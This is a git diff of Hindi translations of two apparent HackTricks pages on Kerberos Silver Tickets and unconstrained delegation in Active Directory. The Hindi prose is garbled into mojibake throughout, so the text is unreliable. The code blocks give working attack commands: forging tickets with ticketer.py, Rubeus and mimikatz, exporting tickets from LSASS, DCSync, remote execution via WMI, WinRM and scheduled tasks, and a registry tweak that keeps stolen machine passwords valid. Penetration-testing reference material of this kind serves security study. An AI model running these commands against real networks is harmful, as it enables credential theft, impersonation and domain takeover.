рдХрдВрдкреНрдпреВрдЯрд░ рдЦрд╛рддрд╛, рддрд╛рдХрд┐ рдПрдХ рдЯрд┐рдХрдЯ рдЧреНрд░рд╛рдВрдЯрд┐рдВрдЧ рд╕реЗрд╡рд╛ (TGS) рдЯрд┐рдХрдЯ рдХреЛ forge рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕ forged рдЯрд┐рдХрдЯ рдХреЗ рд╕рд╛рде, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реЗрд╡рд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИ, **рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддреЗ рд╣реБрдП**, рдЖрдорддреМрд░ рдкрд░ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд▓рд┐рдП рд▓рдХреНрд╖реНрдп рдмрдирд╛рддреЗ рд╣реБрдПред рдпрд╣ рдЬреЛрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЯрд┐рдХрдЯреЛрдВ рдХреЛ forge рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП AES рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЕрдзрд┐рдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдФрд░ рдХрдо рдкрд╣рдЪрд╛рдирдиреЗ рдпреЛрдЧреНрдп рд╣реИред + +> [!WARNING] +> Silver Tickets, Golden Tickets рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдХрдо рдкрд╣рдЪрд╛рдирдиреЗ рдпреЛрдЧреНрдп рд╣реЛрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЙрдиреНрд╣реЗрдВ рдХреЗрд╡рд▓ **рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рдХрд╛ рд╣реИрд╢** рдЪрд╛рд╣рд┐рдП рд╣реЛрддрд╛ рд╣реИ, рди рдХрд┐ krbtgt рдЦрд╛рддреЗ рдХрд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рд╡реЗ рдЙрд╕ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реЗрд╡рд╛ рддрдХ рд╕реАрдорд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рд╡реЗ рд▓рдХреНрд╖рд┐рдд рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреЗрд╡рд▓ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдЪреБрд░рд╛рдирд╛ред +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдЖрдк рдПрдХ **рдЦрд╛рддреЗ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ SPN рдХреЗ рд╕рд╛рде рд╕рдордЭреМрддрд╛ рдХрд░рддреЗ рд╣реИрдВ** рддреЛ рдЖрдк рдЙрд╕ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддреЗ рд╣реБрдП рдПрдХ Silver Ticket рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЯрд┐рдХрдЯ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: @@ -16,8 +20,13 @@ python ticketer.py -nthash -domain-sid -domain -spn export KRB5CCNAME=/root/impacket-examples/.ccache python psexec.py /@ -k -no-pass ``` -### рд╡рд┐рдВрдбреЛрдЬрд╝ рдкрд░ +### Windows рдкрд░ ```bash +# Using Rubeus +## /ldap option is used to get domain data automatically +## With /ptt we already load the tickt in memory +rubeus.exe asktgs /user: [/rc4: /aes128: /aes256:] /domain: /ldap /service:cifs/domain.local /ptt /nowrap /printcmd + # Create the ticket mimikatz.exe "kerberos::golden /domain: /sid: /rc4: /user: /service: /target:" @@ -43,7 +52,7 @@ CIFS рд╕реЗрд╡рд╛ рдХреЛ рдкреАрдбрд╝рд┐рдд рдХреА рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдг | Windows рд░рд┐рдореЛрдЯ рд╕рд░реНрд╡рд░ рдкреНрд░рд╢рд╛рд╕рди рдЙрдкрдХрд░рдг |

RPCSS

LDAP

CIFS

| | рдЧреЛрд▓реНрдбрди рдЯрд┐рдХрдЯреНрд╕ | krbtgt | -**Rubeus** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **рд╕рднреА** рдЗрди рдЯрд┐рдХрдЯреЛрдВ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +**Rubeus** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **рдЗрди рд╕рднреА** рдЯрд┐рдХрдЯреЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП: - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` @@ -53,13 +62,17 @@ CIFS рд╕реЗрд╡рд╛ рдХреЛ рдкреАрдбрд╝рд┐рдд рдХреА рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдг - 4634: рдЦрд╛рддрд╛ рд▓реЙрдЧрдЖрдЙрдЯ - 4672: рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд▓реЙрдЧрд┐рди -## рд╕реЗрд╡рд╛ рдЯрд┐рдХрдЯреНрд╕ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ +## рд╕реНрдерд┐рд░рддрд╛ + +рдорд╢реАрдиреЛрдВ рдХреЛ рд╣рд░ 30 рджрд┐рдиреЛрдВ рдореЗрдВ рдЕрдкрдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓рдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` рд╕реЗрдЯ рдХрд░реЗрдВ рдпрд╛ рдЖрдк `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` рдХреЛ 30 рджрд┐рдиреЛрдВ рд╕реЗ рдмрдбрд╝реЗ рдорд╛рди рдкрд░ рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдпрд╣ рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдорд╢реАрди рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХрдм рдмрджрд▓рд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред + +## рд╕реЗрд╡рд╛ рдЯрд┐рдХрдЯреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рдЯрд┐рдХрдЯ рдХреЛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЦрд╛рддреЗ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддреЗ рд╣реБрдП рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред ### CIFS -рдЗрд╕ рдЯрд┐рдХрдЯ рдХреЗ рд╕рд╛рде рдЖрдк **SMB** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ `C$` рдФрд░ `ADMIN$` рдлрд╝реЛрд▓реНрдбрд░ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдВрдЧреЗ (рдпрджрд┐ рд╡реЗ рдЙрдЬрд╛рдЧрд░ рд╣реИрдВ) рдФрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рджреВрд░рд╕реНрде рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдХреЗ рдПрдХ рднрд╛рдЧ рдореЗрдВ рдХреЙрдкреА рдХрд░ рд╕рдХреЗрдВрдЧреЗ, рдмрд╕ рдХреБрдЫ рдРрд╕рд╛ рдХрд░рдХреЗ: +рдЗрд╕ рдЯрд┐рдХрдЯ рдХреЗ рд╕рд╛рде рдЖрдк **SMB** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ `C$` рдФрд░ `ADMIN$` рдлрд╝реЛрд▓реНрдбрд░ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдВрдЧреЗ (рдпрджрд┐ рд╡реЗ рдЙрдЬрд╛рдЧрд░ рд╣реИрдВ) рдФрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рджреВрд░рд╕реНрде рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдХреЗ рдПрдХ рднрд╛рдЧ рдореЗрдВ рдХреЙрдкреА рдХрд░ рд╕рдХреЗрдВрдЧреЗ, рдмрд╕ рдХреБрдЫ рдРрд╕рд╛ рдХрд░рддреЗ рд╣реБрдП: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ @@ -87,7 +100,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS -рдЗрди рдЯрд┐рдХрдЯреЛрдВ рдХреЗ рд╕рд╛рде рдЖрдк **рдкреАрдбрд╝рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдореЗрдВ WMI рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**: +рдЗрди рдЯрд┐рдХрдЯреЛрдВ рдХреЗ рд╕рд╛рде рдЖрдк **рд╢рд┐рдХрд╛рд░ рдкреНрд░рдгрд╛рд▓реА рдореЗрдВ WMI рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local @@ -97,7 +110,7 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis #You can also use wmic wmic remote.computer.local list full /format:list ``` -**wmiexec** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ **рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА** рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдкрд░ рдЦреЛрдЬреЗрдВ: +**wmiexec** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ **рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА** рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдкрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ: {{#ref}} ../lateral-movement/wmiexec.md @@ -105,11 +118,11 @@ wmic remote.computer.local list full /format:list ### HOST + WSMAN (WINRM) -winrm рдПрдХреНрд╕реЗрд╕ рдХреЗ рд╕рд╛рде рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдЖрдк **рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдФрд░ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдПрдХ PowerShell рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +winrm рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдкрд╣реБрдБрдЪрдиреЗ рдкрд░ рдЖрдк **рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдФрд░ рдпрд╣рд╛рдБ рддрдХ рдХрд┐ рдПрдХ PowerShell рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` -рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рджреЗрдЦреЗрдВ рддрд╛рдХрд┐ рдЖрдк **winrm рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рджреВрд░рд╕реНрде рд╣реЛрд╕реНрдЯ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рдЕрдзрд┐рдХ рддрд░реАрдХреЗ** рдЬрд╛рди рд╕рдХреЗрдВ: +рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рджреЗрдЦреЗрдВ **winrm рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рджреВрд░рд╕реНрде рд╣реЛрд╕реНрдЯ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рдЕрдзрд┐рдХ рддрд░реАрдХреЛрдВ рдХреЗ рд▓рд┐рдП**: {{#ref}} ../lateral-movement/winrm.md @@ -126,15 +139,17 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc ``` **DCSync рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВ** рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдкрд░: -## рд╕рдВрджрд░реНрдн - -- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) -- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - {{#ref}} dcsync.md {{#endref}} +## рд╕рдВрджрд░реНрдн + +- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) +- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) +- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027) + + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md index c9871d2aa..8ed5199e2 100644 --- a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md @@ -4,42 +4,49 @@ ## Unconstrained delegation -рдпрд╣ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдПрдХ Domain Administrator рдХрд┐рд╕реА рднреА **Computer** рдкрд░ рд╕реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдбреЛрдореЗрди рдХреЗ рдЕрдВрджрд░ рд╣реИред рдлрд┐рд░, рдЬрдм рднреА рдХреЛрдИ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЙрд╕ Computer рдкрд░ рд▓реЙрдЧрд┐рди рдХрд░рддрд╛ рд╣реИ**, рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ **TGT рдХреА рдПрдХ рдкреНрд░рддрд┐** **DC рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП TGS рдХреЗ рдЕрдВрджрд░ рднреЗрдЬреА рдЬрд╛рдПрдЧреА** **рдФрд░ LSASS рдореЗрдВ рдореЗрдореЛрд░реА рдореЗрдВ рд╕рд╣реЗрдЬреА рдЬрд╛рдПрдЧреА**ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдорд╢реАрди рдкрд░ Administrator рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рддреЛ рдЖрдк **рдЯрд┐рдХрдЯреЛрдВ рдХреЛ рдбрдВрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХрд┐рд╕реА рднреА рдорд╢реАрди рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред +рдпрд╣ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдПрдХ рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдХ рдбреЛрдореЗрди рдХреЗ рдЕрдВрджрд░ рдХрд┐рд╕реА рднреА **рдХрдВрдкреНрдпреВрдЯрд░** рдкрд░ рд╕реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдлрд┐рд░, рдЬрдм рднреА рдХреЛрдИ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЙрд╕ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд▓реЙрдЧрд┐рди рдХрд░рддрд╛ рд╣реИ**, рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ **TGT рдХреА рдПрдХ рдкреНрд░рддрд┐** **DC рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП TGS рдХреЗ рдЕрдВрджрд░ рднреЗрдЬреА рдЬрд╛рдПрдЧреА** **рдФрд░ LSASS рдореЗрдВ рдореЗрдореЛрд░реА рдореЗрдВ рд╕рд╣реЗрдЬреА рдЬрд╛рдПрдЧреА**ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдорд╢реАрди рдкрд░ рдкреНрд░рд╢рд╛рд╕рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рддреЛ рдЖрдк **рдЯрд┐рдХрдЯреЛрдВ рдХреЛ рдбрдВрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХрд┐рд╕реА рднреА рдорд╢реАрди рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред -рддреЛ рдпрджрд┐ рдПрдХ рдбреЛрдореЗрди рдПрдбрдорд┐рди "Unconstrained Delegation" рд╡рд┐рд╢реЗрд╖рддрд╛ рд╕рдХреНрд░рд┐рдп рдХрд░рдХреЗ рдХрд┐рд╕реА Computer рдкрд░ рд▓реЙрдЧрд┐рди рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЙрд╕ рдорд╢реАрди рдкрд░ рд╕реНрдерд╛рдиреАрдп рдПрдбрдорд┐рди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рддреЛ рдЖрдк рдЯрд┐рдХрдЯ рдХреЛ рдбрдВрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдбреЛрдореЗрди рдПрдбрдорд┐рди рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд╣реАрдВ рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдбреЛрдореЗрди рдкреНрд░рд┐рд╡реЗрд╕реНрдХ)ред +рддреЛ рдпрджрд┐ рдПрдХ рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдХ "Unconstrained Delegation" рд╡рд┐рд╢реЗрд╖рддрд╛ рд╕рдХреНрд░рд┐рдп рд╣реЛрдиреЗ рдХреЗ рд╕рд╛рде рдХрд┐рд╕реА рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд▓реЙрдЧрд┐рди рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЙрд╕ рдорд╢реАрди рдХреЗ рдЕрдВрджрд░ рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рддреЛ рдЖрдк рдЯрд┐рдХрдЯ рдХреЛ рдбрдВрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХрд╣реАрдВ рднреА рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдХ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдбреЛрдореЗрди рдкреНрд░рд┐рд╡реЗрд╕реНрдХ)ред -рдЖрдк рдЗрд╕ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд╕рд╛рде **Computer рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ** рдпрд╣ рдЬрд╛рдВрдЪрдХрд░ рдХрд┐ [userAccountControl]() рд╡рд┐рд╢реЗрд╖рддрд╛ рдореЗрдВ [ADS_UF_TRUSTED_FOR_DELEGATION]() рд╢рд╛рдорд┐рд▓ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдЖрдк рдЗрд╕реЗ тАШ(userAccountControl:1.2.840.113556.1.4.803:=524288)тАЩ LDAP рдлрд╝рд┐рд▓реНрдЯрд░ рдХреЗ рд╕рд╛рде рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ powerview рдХрд░рддрд╛ рд╣реИ: - -
# List unconstrained computers
+рдЖрдк рдЗрд╕ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд╕рд╛рде **рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ** рдпрд╣ рдЬрд╛рдВрдЪрдХрд░ рдХрд┐ [userAccountControl]() рд╡рд┐рд╢реЗрд╖рддрд╛ рдореЗрдВ [ADS_UF_TRUSTED_FOR_DELEGATION]() рд╢рд╛рдорд┐рд▓ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдЖрдк рдЗрд╕реЗ тАШ(userAccountControl:1.2.840.113556.1.4.803:=524288)тАЩ LDAP рдлрд╝рд┐рд▓реНрдЯрд░ рдХреЗ рд╕рд╛рде рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдХрд┐ рдкреЙрд╡erview рдХрд░рддрд╛ рд╣реИ:
+```bash
+# List unconstrained computers
 ## Powerview
-Get-NetComputer -Unconstrained #DCs рд╣рдореЗрд╢рд╛ рджрд┐рдЦрд╛рдИ рджреЗрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдкреНрд░рд┐рд╡реЗрд╕реНрдХ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рдирд╣реАрдВ рд╣реЛрддреЗ
-## ADSearch
-ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
-# Mimikatz рдХреЗ рд╕рд╛рде рдЯрд┐рдХрдЯ рдирд┐рд░реНрдпрд╛рдд рдХрд░реЗрдВ
-privilege::debug
-sekurlsa::tickets /export #рдЕрдиреБрд╢рдВрд╕рд┐рдд рддрд░реАрдХрд╛
-kerberos::list /export #рдПрдХ рдФрд░ рддрд░реАрдХрд╛
+## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it)
+Get-DomainComputer тАУUnconstrained тАУProperties name
+Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
 
-# рд▓реЙрдЧрд┐рди рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░реЗрдВ рдФрд░ рдирдП рдЯрд┐рдХрдЯ рдирд┐рд░реНрдпрд╛рдд рдХрд░реЗрдВ
-.\Rubeus.exe monitor /targetuser: /interval:10 #рд╣рд░ 10 рд╕реЗрдХрдВрдб рдореЗрдВ рдирдП TGT рдХреЗ рд▓рд┐рдП рдЬрд╛рдВрдЪреЗрдВ
+## ADSearch +ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem -**Mimikatz** рдпрд╛ **Rubeus** рдХреЗ рд╕рд╛рде Administrator (рдпрд╛ рдкреАрдбрд╝рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛) рдХрд╛ рдЯрд┐рдХрдЯ рдореЗрдореЛрд░реА рдореЗрдВ рд▓реЛрдб рдХрд░реЗрдВ **[**Pass the Ticket**](pass-the-ticket.md)** рдХреЗ рд▓рд┐рдПред\ +# Export tickets with Mimikatz +## Access LSASS memory +privilege::debug +sekurlsa::tickets /export #Recommended way +kerberos::list /export #Another way + +# Monitor logins and export new tickets +## Doens't access LSASS memory directly, but uses Windows APIs +Rubeus.exe dump +Rubeus.exe monitor /interval:10 [/filteruser:] #Check every 10s for new TGTs +``` +Administrator (рдпрд╛ рдкреАрдбрд╝рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛) рдХрд╛ рдЯрд┐рдХрдЯ **Mimikatz** рдпрд╛ **Rubeus** рдХреЗ рд╕рд╛рде рдореЗрдореЛрд░реА рдореЗрдВ рд▓реЛрдб рдХрд░реЗрдВ [**Pass the Ticket**](pass-the-ticket.md)**.**\ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\ [**Unconstrained delegation рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА ired.team рдкрд░ред**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation) -### **Force Authentication** +### **рдкреНрд░рдорд╛рдгрди рдХреЛ рдордЬрдмреВрд░ рдХрд░реЗрдВ** -рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **"Unconstrained Delegation" рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ**, рддреЛ рд╡рд╣ **Print server** рдХреЛ **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд▓реЙрдЧрд┐рди** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдзреЛрдЦрд╛ рджреЗ рд╕рдХрддрд╛ рд╣реИ** рдЬрд┐рд╕рд╕реЗ **рд╕рд░реНрд╡рд░ рдХреА рдореЗрдореЛрд░реА рдореЗрдВ рдПрдХ TGT рд╕рд╣реЗрдЬреА рдЬрд╛рдПрдЧреА**ред\ -рдлрд┐рд░, рд╣рдорд▓рд╛рд╡рд░ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ Print server рдХрдВрдкреНрдпреВрдЯрд░ рдЦрд╛рддреЗ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Pass the Ticket рд╣рдорд▓рд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред +рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **"Unconstrained Delegation"** рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐ рдкреНрд░рд╛рдкреНрдд рдХрдВрдкреНрдпреВрдЯрд░ 